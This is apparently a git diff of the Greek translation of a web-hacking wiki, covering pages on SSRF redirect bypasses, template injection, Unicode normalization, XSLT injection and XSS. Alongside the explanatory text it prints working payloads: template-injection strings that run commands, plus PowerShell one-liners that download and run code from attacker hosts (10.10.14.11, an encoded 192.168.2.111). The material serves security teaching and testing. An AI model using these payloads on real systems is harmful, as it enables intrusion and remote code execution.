Δείτε το [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header. Δείτε το [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %} {{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass via redirect ### Bypass via redirect
Είναι πιθανό ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **απάντηση ανακατεύθυνσης** σε αυτό το αίτημα.\ Είναι πιθανό ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **απάντηση ανακατεύθυνσης** σε αυτό το αίτημα.\
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\ Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο μέρος όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως gopher.\
[Δείτε αυτή την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) [Δείτε αυτή την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Τι είναι το SSTI (Server-Side Template Injection) ## Τι είναι το SSTI (Server-Side Template Injection)
Η ένεση προτύπου πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja. Η ένεση προτύπου πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
@ -19,11 +18,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
``` ```
Το payload `{{bad-stuff-here}}` εισάγεται στην παράμετρο `name`. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή. Το payload `{{bad-stuff-here}}` εισάγεται στην παράμετρο `name`. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή template, αποκτώντας ενδεχομένως έλεγχο πάνω στον διακομιστή.
Για να αποτραπούν οι ευπάθειες από την πλευρά του διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας. Για να αποτραπούν οι ευπάθειες από την έγχυση template στον διακομιστή, οι προγραμματιστές θα πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη είναι σωστά καθαρισμένη και επικυρωμένη πριν εισαχθεί σε templates. Η εφαρμογή επικύρωσης εισόδου και η χρήση τεχνικών διαφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
### Ανίχνευση ### Ανίχνευση
Για να ανιχνευθεί η Server-Side Template Injection (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν: Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
- Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template. - Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
- Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα. - Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
@ -44,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### [TInjA](https://github.com/Hackmanit/TInjA) ### [TInjA](https://github.com/Hackmanit/TInjA)
ένας αποτελεσματικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες. ένας αποδοτικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
```bash ```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -102,7 +101,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
- `{{7*7}} = {{7*7}}` - `{{7*7}} = {{7*7}}`
- `${7*7} = 49` - `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)` - `#{7*7} = 49 -- (legacy)`
- `${7*'7'} Nothing` - `${7*'7'} Τίποτα`
- `${foobar}` - `${foobar}`
```java ```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -310,9 +309,9 @@ Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπ
### Hubspot - HuBL (Java) ### Hubspot - HuBL (Java)
- `{% %}` διαχωριστικά δηλώσεων - `{% %}` δηλωτές δηλώσεων
- `{{ }}` διαχωριστικά εκφράσεων - `{{ }}` δηλωτές εκφράσεων
- `{# #}` διαχωριστικά σχολίων - `{# #}` δηλωτές σχολίων
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
- `{{'a'.toUpperCase()}}` - "A" - `{{'a'.toUpperCase()}}` - "A"
- `{{'a'.concat('b')}}` - "ab" - `{{'a'.concat('b')}}` - "ab"
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
- Περισσότερες πληροφορίες στο [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) - Περισσότερες πληροφορίες στο [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## ##
### Smarty (PHP) ### Smarty (PHP)
@ -890,7 +887,7 @@ ${x}
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Άλλος Python ### Άλλο Python
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure> <figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
@ -911,7 +908,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Η μέθοδος .NET `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) Η μέθοδος `.NET` `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Περισσότερες πληροφορίες** **Περισσότερες πληροφορίες**
@ -923,7 +920,7 @@ ${x}
- `<%= 7*7 %>` = 49 - `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo - `<%= "foo" %>` = foo
- `<%= foo %>` = Τίποτα - `<%= foo %>` = Τίποτα
- `<%= response.write(date()) %>` = \<Date> - `<%= response.write(date()) %>` = \<Ημερομηνία>
```xml ```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
``` ```
@ -959,7 +956,7 @@ vbnet Copy code
**RCE Exploitation** **RCE Exploitation**
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ `html/template` και `text/template`. Το module `text/template` επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο `html/template`. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη [εδώ για το html/template](https://golang.org/pkg/html/template/) και [εδώ για το text/template](https://golang.org/pkg/text/template/). Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ `html/template` και `text/template`. Το module `text/template` επιτρέπει την άμεση κλήση οποιασδήποτε δημόσιας συνάρτησης (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο `html/template`. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη [εδώ για html/template](https://golang.org/pkg/html/template/) και [εδώ για text/template](https://golang.org/pkg/text/template/).
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο `System` που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως `{{ .System "ls" }}`. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα: Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μια μέθοδο `System` που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως `{{ .System "ls" }}`. Η πρόσβαση στον πηγαίο κώδικα είναι συνήθως απαραίτητη για να εκμεταλλευτεί αυτό, όπως στο δοθέν παράδειγμα:
```go ```go
@ -997,7 +994,9 @@ return string(out)
## Λίστα Ανίχνευσης Brute-Force ## Λίστα Ανίχνευσης Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Πρακτική & Αναφορές ## Πρακτική & Αναφορές

View File

@ -9,7 +9,7 @@
Η κανονικοποίηση Unicode είναι μια διαδικασία που διασφαλίζει ότι διαφορετικές δυαδικές αναπαραστάσεις χαρακτήρων είναι τυποποιημένες στην ίδια δυαδική τιμή. Αυτή η διαδικασία είναι κρίσιμη για την επεξεργασία συμβολοσειρών στον προγραμματισμό και την επεξεργασία δεδομένων. Το πρότυπο Unicode ορίζει δύο τύπους ισοδυναμίας χαρακτήρων: Η κανονικοποίηση Unicode είναι μια διαδικασία που διασφαλίζει ότι διαφορετικές δυαδικές αναπαραστάσεις χαρακτήρων είναι τυποποιημένες στην ίδια δυαδική τιμή. Αυτή η διαδικασία είναι κρίσιμη για την επεξεργασία συμβολοσειρών στον προγραμματισμό και την επεξεργασία δεδομένων. Το πρότυπο Unicode ορίζει δύο τύπους ισοδυναμίας χαρακτήρων:
1. **Κανονική Ισοδυναμία**: Οι χαρακτήρες θεωρούνται κανονικά ισοδύναμοι αν έχουν την ίδια εμφάνιση και σημασία όταν εκτυπώνονται ή εμφανίζονται. 1. **Κανονική Ισοδυναμία**: Οι χαρακτήρες θεωρούνται κανονικά ισοδύναμοι αν έχουν την ίδια εμφάνιση και σημασία όταν εκτυπώνονται ή εμφανίζονται.
2. **Ισοδυναμία Συμβατότητας**: Μια πιο αδύναμη μορφή ισοδυναμίας όπου οι χαρακτήρες μπορεί να αναπαριστούν τον ίδιο αφηρημένο χαρακτήρα αλλά να εμφανίζονται διαφορετικά. 2. **Ισοδυναμία Συμβατότητας**: Μια πιο αδύναμη μορφή ισοδυναμίας όπου οι χαρακτήρες μπορεί να αντιπροσωπεύουν τον ίδιο αφηρημένο χαρακτήρα αλλά μπορεί να εμφανίζονται διαφορετικά.
Υπάρχουν **τέσσερις αλγόριθμοι κανονικοποίησης Unicode**: NFC, NFD, NFKC και NFKD. Κάθε αλγόριθμος χρησιμοποιεί τεχνικές κανονικοποίησης κανονικής και συμβατότητας διαφορετικά. Για μια πιο εις βάθος κατανόηση, μπορείτε να εξερευνήσετε αυτές τις τεχνικές στο [Unicode.org](https://unicode.org/). Υπάρχουν **τέσσερις αλγόριθμοι κανονικοποίησης Unicode**: NFC, NFD, NFKC και NFKD. Κάθε αλγόριθμος χρησιμοποιεί τεχνικές κανονικοποίησης κανονικής και συμβατότητας διαφορετικά. Για μια πιο εις βάθος κατανόηση, μπορείτε να εξερευνήσετε αυτές τις τεχνικές στο [Unicode.org](https://unicode.org/).
@ -25,7 +25,7 @@
Είναι κρίσιμο να κατανοήσετε αυτές τις έννοιες για να χειριστείτε και να μετριάσετε αποτελεσματικά πιθανά ζητήματα που προκύπτουν από την πολυπλοκότητα του Unicode και τις διάφορες μεθόδους κωδικοποίησής του. Είναι κρίσιμο να κατανοήσετε αυτές τις έννοιες για να χειριστείτε και να μετριάσετε αποτελεσματικά πιθανά ζητήματα που προκύπτουν από την πολυπλοκότητα του Unicode και τις διάφορες μεθόδους κωδικοποίησής του.
Ένα παράδειγμα του πώς το Unicode κανονικοποιεί δύο διαφορετικά bytes που αναπαριστούν τον ίδιο χαρακτήρα: Ένα παράδειγμα του πώς το Unicode κανονικοποιεί δύο διαφορετικά bytes που αντιπροσωπεύουν τον ίδιο χαρακτήρα:
```python ```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9") unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
``` ```
@ -43,7 +43,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
Φανταστείτε μια ιστοσελίδα που χρησιμοποιεί τον χαρακτήρα `'` για να δημιουργήσει SQL ερωτήματα με την είσοδο του χρήστη. Αυτή η ιστοσελίδα, ως μέτρο ασφαλείας, **διαγράφει** όλες τις εμφανίσεις του χαρακτήρα **`'`** από την είσοδο του χρήστη, αλλά **μετά από αυτή τη διαγραφή** και **πριν από τη δημιουργία** του ερωτήματος, **κανονικοποιεί** χρησιμοποιώντας **Unicode** την είσοδο του χρήστη. Φανταστείτε μια ιστοσελίδα που χρησιμοποιεί τον χαρακτήρα `'` για να δημιουργήσει SQL ερωτήματα με την είσοδο του χρήστη. Αυτή η ιστοσελίδα, ως μέτρο ασφαλείας, **διαγράφει** όλες τις εμφανίσεις του χαρακτήρα **`'`** από την είσοδο του χρήστη, αλλά **μετά από αυτή τη διαγραφή** και **πριν από τη δημιουργία** του ερωτήματος, **κανονικοποιεί** χρησιμοποιώντας **Unicode** την είσοδο του χρήστη.
Έτσι, ένας κακόβουλος χρήστης θα μπορούσε να εισάγει έναν διαφορετικό χαρακτήρα Unicode ισοδύναμο με `' (0x27)` όπως το `%ef%bc%87`, όταν η είσοδος κανονικοποιείται, δημιουργείται ένα μονό απόσπασμα και εμφανίζεται μια **ευπάθεια SQLInjection**: Έτσι, ένας κακόβουλος χρήστης θα μπορούσε να εισάγει έναν διαφορετικό χαρακτήρα Unicode ισοδύναμο με `' (0x27)` όπως `%ef%bc%87`, όταν η είσοδος κανονικοποιηθεί, δημιουργείται ένα μονό απόσπασμα και εμφανίζεται μια **ευπάθεια SQLInjection**:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -75,7 +75,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
``` ```
#### sqlmap template #### sqlmap template
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %} {{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (Cross Site Scripting) ### XSS (Cross Site Scripting)
@ -83,13 +85,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Σημειώστε ότι για παράδειγμα ο πρώτος Unicode χαρακτήρας που προτείνεται μπορεί να σταλεί ως: `%e2%89%ae` ή ως `%u226e` Σημειώστε ότι για παράδειγμα ο πρώτος Unicode χαρακτήρας που προτάθηκε μπορεί να σταλεί ως: `%e2%89%ae` ή ως `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes ### Fuzzing Regexes
Όταν το backend **ελέγχει την είσοδο του χρήστη με ένα regex**, μπορεί να είναι δυνατόν η **είσοδος** να είναι **κανονικοποιημένη** για το **regex** αλλά **όχι** για το πού χρησιμοποιείται. Για παράδειγμα, σε ένα Open Redirect ή SSRF το regex μπορεί να **κανονικοποιεί το αποσταλμένο UR**L αλλά στη συνέχεια να **το προσπελάζει όπως είναι**. Όταν το backend **ελέγχει την είσοδο του χρήστη με ένα regex**, μπορεί να είναι δυνατόν η **είσοδος** να είναι **κανονικοποιημένη** για το **regex** αλλά **όχι** για το πού χρησιμοποιείται. Για παράδειγμα, σε μια Open Redirect ή SSRF το regex μπορεί να **κανονικοποιεί το αποσταλμένο UR**L αλλά στη συνέχεια να **το προσπελάζει όπως είναι**.
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* επιτρέπει να **δημιουργήσετε παραλλαγές της εισόδου** για να fuzz το backend. Για περισσότερες πληροφορίες ελέγξτε το **github** και αυτή την [**ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/). Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* επιτρέπει να **δημιουργήσετε παραλλαγές της εισόδου** για να fuzz το backend. Για περισσότερες πληροφορίες ελέγξτε το **github** και αυτή την [**ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/).

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες ## Basic Information
XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή. Το XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή.
Τα πλαίσια που χρησιμοποιούνται πιο συχνά περιλαμβάνουν: Τα πλαίσια που χρησιμοποιούνται πιο συχνά περιλαμβάνουν:
@ -12,9 +12,9 @@ XSLT είναι μια τεχνολογία που χρησιμοποιείτα
- **Xalan** από το Apache, - **Xalan** από το Apache,
- **Saxon** από το Saxonica. - **Saxon** από το Saxonica.
Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι xsl ετικέτες να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην παρακάτω πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι ετικέτες xsl να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην ακόλουθη πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Παράδειγμα - Εκπαιδευτικό ## Example - Tutorial
```bash ```bash
sudo apt-get install default-jdk sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java sudo apt-get install libsaxonb-java libsaxon-java
@ -77,7 +77,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
</body> </body>
</html> </html>
``` ```
### Δακτυλικό αποτύπωμα ### Δακτυλοσκοπία
```xml:detection.xsl ```xml:detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -261,7 +261,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
&passwd; &passwd;
</xsl:template> </xsl:template>
``` ```
### **Εσωτερικό (PHP-συνάρτηση)** ### **Εσωτερικό (PHP-λειτουργία)**
```xml ```xml
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -367,16 +367,16 @@ version="1.0">
</xsl:template> </xsl:template>
</xsl:stylesheet> </xsl:stylesheet>
``` ```
(Παράδειγμα από [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
## Περισσότερα Payloads ## Περισσότερα Payloads
- Έλεγχος [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) - Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
- Έλεγχος [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) - Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **Λίστα Ανίχνευσης Brute-Force** ## **Λίστα Ανίχνευσης Brute-Force**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **Αναφορές** ## **Αναφορές**

View File

@ -4,14 +4,14 @@
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, ονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. 1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, ονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται. 2. **Βρείτε το πλαίσιο** όπου αντανάκλαται/χρησιμοποιείται.
3. Αν **αντανάκλαται** 3. Αν είναι **αντανάκλαση**
1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload: 1. Ελέγξτε **ποια σύμβολα μπορείτε να χρησιμοποιήσετε** και ανάλογα με αυτό, προετοιμάστε το payload:
1. Σε **ακατέργαστο HTML**: 1. Σε **ακατέργαστο HTML**:
